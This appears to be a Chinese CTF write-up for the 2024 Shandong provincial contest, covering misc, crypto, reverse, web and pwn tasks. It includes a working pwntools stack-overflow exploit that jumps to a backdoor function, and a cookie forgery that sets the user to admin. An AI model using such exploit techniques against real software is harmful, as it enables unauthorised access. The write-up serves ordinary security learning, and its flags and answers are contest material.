24山东省赛wp
misc
ezpic
在这个通道可以看到二维码
扫一下能看到前半flag
010里看到后半flag
简单编码
根据提示有,我们可以找到rot系列的rot13和rot47,尝试一下就有flag了
pwn
epwn
这回真是ezpwn了(
检查保护
IDA找到漏洞函数gets和偏移量以及后门函数
于是可以快乐的写exp了
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
filename="./ezpwn"
p=process(filename)
elf=ELF(filename)
flag_addr=0x400547
padding=40
payload=padding*b'a'+p64(0x400416)+p64(flag_addr)
p.sendline(payload)
p.interactive()
这里被栈对齐绊了一下,一开始怎么弄都不对,后来忘了可能是64位没有栈对齐的缘故,用ROPgadget找了个ret就好了
web
签到题(忘了叫什么名字了)
比赛的时候没有及时截图,但是截了一张纪念我第一次做出来web的纪念图.
我的大体流程是先玩了一下游戏,然后弹窗提示我要去访问一个php文件,于是我就去访问了一下,那个页面大概是说要我是admin才可以
一开始我尝试在url里用?传参(?user=admin),但是不对,后来我就想着用bp看看,抓了一下包,发现响应包的cooki里有个user,联想到提示的admin,我就在输入包里加了个cooki:admin.相应包里就出来flag了
crypto
古典之美
给了串密文yzabliviiszwve{blbekmnehedtmltfxrhsxhn}
题目提示是:凯撒?好像又不是凯撒(大概是这样)
于是我就先拿凯撒变成xxxx{xxxxx}的形式(这个应该是巧合了,我不清楚cyberchef里的凯撒是凯撒盒子加密,一般来说的凯撒应该都是rot系列的)
然后又想到是不是可以rot一下看看,在不破坏{}的情况下,只有rot13系列可以,因为rot47会对所有可见字符在ASCII码上rot
于是得到flag
reverse
exchange
没壳,进入IDA看看先
这个程序就是去检验输入的v9对不对,只不过v9的检验顺序是和v7挂钩的,而不是顺序的检测,根据这个我们就可以写出来脚本了
#include <iostream>
#include <bits/stdc++.h>
using namespace std;
int main()
{
int v7[38];
v7[0] = 0;
v7[1] = 1;
v7[2] = 2;
v7[3] = 3;
v7[4] = 4;
v7[5] = 13;
v7[6] = 28;
v7[7] = 5;
v7[8] = 20;
v7[9] = 29;
v7[10] = 7;
v7[11] = 26;
v7[12] = 34;
v7[13] = 18;
v7[14] = 14;
v7[15] = 8;
v7[16] = 35;
v7[17] = 24;
v7[18] = 19;
v7[19] = 12;
v7[20] = 23;
v7[21] = 15;
v7[22] = 10;
v7[23] = 36;
v7[24] = 31;
v7[25] = 6;
v7[26] = 27;
v7[27] = 17;
v7[28] = 25;
v7[29] = 32;
v7[30] = 22;
v7[31] = 11;
v7[32] = 30;
v7[33] = 21;
v7[34] = 33;
v7[35] = 9;
v7[36] = 16;
v7[37] = 37;
char v8[38];
v8[0] = 'f';
v8[1] = 'l';
v8[2] = 'a';
v8[3] = 'g';
v8[4] = '{';
v8[5] = '4';
v8[6] = '7';
v8[7] = 'e';
v8[8] = 'b';
v8[9] = 'f';
v8[10] = '0';
v8[11] = '0';
v8[12] = '8';
v8[13] = '9';
v8[14] = '9';
v8[15] = 'a';
v8[16] = '3';
v8[17] = '6';
v8[18] = 'a';
v8[19] = '9';
v8[20] = '5';
v8[21] = 'b';
v8[22] = 'c';
v8[23] = 'e';
v8[24] = '0';
v8[25] = '1';
v8[26] = '5';
v8[27] = '5';
v8[28] = 'e';
v8[29] = 'f';
v8[30] = 'e';
v8[31] = '3';
v8[32] = '2';
v8[33] = 'b';
v8[34] = '8';
v8[35] = 'd';
v8[36] = 'a';
v8[37] = '}';
char str[40];
for(int i=0;i<38;i++){
str[v7[i]]=v8[i];
}
cout<<str;
}